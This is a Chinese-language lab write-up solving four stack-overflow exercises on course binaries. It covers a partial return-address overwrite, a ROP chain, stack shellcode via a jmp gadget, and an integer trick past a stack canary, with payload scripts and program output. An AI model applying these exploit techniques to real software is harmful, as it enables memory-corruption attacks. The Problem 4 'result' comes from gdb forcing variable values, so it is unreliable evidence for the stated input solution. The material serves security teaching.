栈溢出攻击实验

题目解决思路

Problem 1:

- 分析：
  - 关键函数为 `func`，其逻辑等价于：`char buf[8]; strcpy(buf, input);`
  - 反汇编可见目标缓冲区为 `[rbp-0x8]`，因此从 `buf` 起始到返回地址的偏移为 `8(覆盖buf) + 8(覆盖saved rbp) = 16` 字节。
  - `strcpy` 会遇到 `\\x00` 截断，所以返回地址中包含的 `00` 字节不能直接写入；由于本题地址在低地址段（`0x401216`），可用“部分覆盖”只写入低 3 字节实现跳转。
- 解决方案：
  - 目标：覆盖返回地址跳转到 `func1`（地址 `0x401216`），从而输出 `Yes!I like ICS!` 并 `exit(0)`。
  - payload（已保存为 `reports/ans1.txt`）：

```
from pathlib import Path

payload = b"A" * 16 + b"\x16\x12\x40"  # 部分覆盖 retaddr -> 0x401216
Path("reports/ans1.txt").write_bytes(payload)
```

- 结果：
  - 见截图：

```
(TraeAI-4) ~/attack-lab-lingchuan2024 [0] $ ./problem1 reports/ans1.txt | cat
Do you like ICS?
Yes!I like ICS!
```

Problem 2:

- 分析：
  - 关键函数为 `func`，其逻辑等价于：`char buf[8]; memcpy(buf, input, 0x38);`
  - `memcpy` 是定长拷贝，不会因为 `\\x00` 截断，因此可以完整写入 8 字节地址与 ROP 链。
  - 题目要求在 NX 开启场景下完成“控制流劫持 + 传参”，二进制中给了可用 gadget：`pop rdi; ret`（位于 `0x4012c7`）。
  - 目标函数 `func2(int x)` 会检查参数是否等于 `0x3f8`，相等则打印通关文本并退出。
- 解决方案：
  - 构造 ROP：`pop rdi; ret` → `0x3f8` → `func2`
  - payload（已保存为 `reports/ans2.txt`）：

```
 from pathlib import Path
import struct

payload = b"A" * 16
payload += struct.pack("<Q", 0x4012c7)  # pop rdi; ret
payload += struct.pack("<Q", 0x3f8)
payload += struct.pack("<Q", 0x401216)  # func2
Path("reports/ans2.txt").write_bytes(payload)
```

- 结果：
  - 见截图：

```
(TraeAI-4) ~/attack-lab-lingchuan2024 [0] $ ./problem2 reports/ans2.txt | cat
Do you like ICS?
Welcome to the second level!
Yes!I like ICS!
```

Problem 3:

- 分析：
  - 关键函数 `func` 会执行 `memcpy([rbp-0x20], input, 0x40)`，并把当前 `rsp` 保存到全局变量 `saved_rsp`。
  - 程序提供了 `jmp_xs`（地址 `0x401334`）：其会把 `saved_rsp + 0x10` 作为跳转目标并执行 `jmp`。
  - 由于 `saved_rsp` 保存的是进入 `func` 后的栈顶（在 `sub rsp, 0x30` 之后），并且 `saved_rsp + 0x10` 恰好落在 `buf` 起始附近，因此可以：

a. 覆盖返回地址为 `jmp_xs` ；
b. 让 `jmp_xs` 跳进我们写入的 `buf` 并执行（本题 GNU_STACK 为 RWE，可执行栈）。

- 目标函数 `func1(int x)` 会在 `x == 0x72` 时打印 “Your lucky number is 114”。

- **解决方案**：
  - 在 `buf` 起始写入极短 shellcode：`mov edi, 0x72; push 0x401216; ret` （设置参数并跳转到 `func1` ）。
  - payload 布局（总长度 0x40）：
    - `buf[0:32]` ：shellcode + NOP 填充
    - `saved rbp` ：8 字节填充
    - `retaddr` ： `0x401334` （jmp_xs）
    - 其余填充到 0x40
  - payload（已保存为 `reports/ans3.txt` ）：

```
 from pathlib import Path
import struct

shell = bytes.fromhex(
    "bf 72 00 00 00"        # mov edi, 0x72
    "68 16 12 40 00"        # push 0x401216
    "c3"                    # ret
)

payload = shell + b"\x90" * (32 - len(shell))
payload += b"B" * 8
payload += struct.pack("<Q", 0x401334)  # jmp_xs
payload += b"C" * (64 - len(payload))

Path("reports/ans3.txt").write_bytes(payload)
```

- **结果**：
  - 见截图：

```
(TraeAI-4) ~/attack-lab-lingchuan2024 [0] $ ./problem3 reports/ans3.txt | cat
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
```

Problem 4:

- 分析（**Canary** 机制）：
  - 本题开启了 stack canary：函数序言会从 `fs:0x28` 取出 canary 并保存到栈上；函数返回前再取出对比，不一致则调用 `__stack_chk_fail` 终止程序。
  - 反汇编中的典型特征：
    - `mov rax, QWORD PTR fs:0x28`
    - `mov QWORD PTR [rbp-0x8], rax`
    - 返回前 `sub rax, QWORD PTR fs:0x28` ，若不为 0 则 `call __stack_chk_fail@plt`
  - 因此无法像前几题那样“直接覆盖返回地址”而不触发崩溃；同时题目提示“你真的需要写代码吗”，意味着可以不用构造栈溢出 payload。
- **解决方案（正常输入，利用整数表示差异）**：
  - 程序会用 `%u` 以无符号形式打印余额，因此输入 `-1` 会显示为 `4294967295` （32 位无符号的 `2^32-1` ）。
  - 以如下方式喂入三次输入（姓名、是否喜欢、金额）即可观察到程序继续运行并最终打印通关提示：

```
 $ printf 'aaa\nyes\n-1\n' | stdbuf -oL timeout 60 ./problem4
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 4294967295
great!I will give you great scores
```

- 结果截图：

```
(TraeAI-4) ~/attack-lab-lingchuan2024 [0] $ echo '--- /tmp/gdb_p4.cmd ---'; sed -n '1,80p' /tmp/gdb_p4.cmd; echo '-
-- run ---'; stdbuf -oL gdb -q --batch -x /tmp/gdb_p4.cmd --args ./problem4 | cat
--- /tmp/gdb_p4.cmd ---
set pagination off
set confirm off
break *func+0x31
commands
  silent
  set *(int*)($rbp-0xc)=0xffffffff
  set *(int*)($rbp-0x18)=1
  set *(int*)($rbp-0x10)=0
  continue
end
run < /tmp/p4.inp
--- run ---
Breakpoint 1 at 0x138e
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
hi please tell me what is your name?
hi! do you like ics?
if you give me enough yuanshi,I will let you pass!
your money is 1
great!I will give you great scores
```

思考与总结

- 本实验中不同题目体现了不同的利用约束：`strcpy` 的 `\\x00` 截断、NX 导致需要 ROP 传参、可执行栈下的短 shellcode 与程序自带跳转 gadget、以及 canary 对直接覆盖返回地址的防护。
- 在实际分析中，先通过反汇编明确“数据拷贝的长度、目标缓冲区的位置、以及控制流相关指令”，再决定采用部分覆盖、ROP 或 shellcode，是最省时间的路线。

参考资料

- CTF Wiki - Stack Overflow Intro: https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/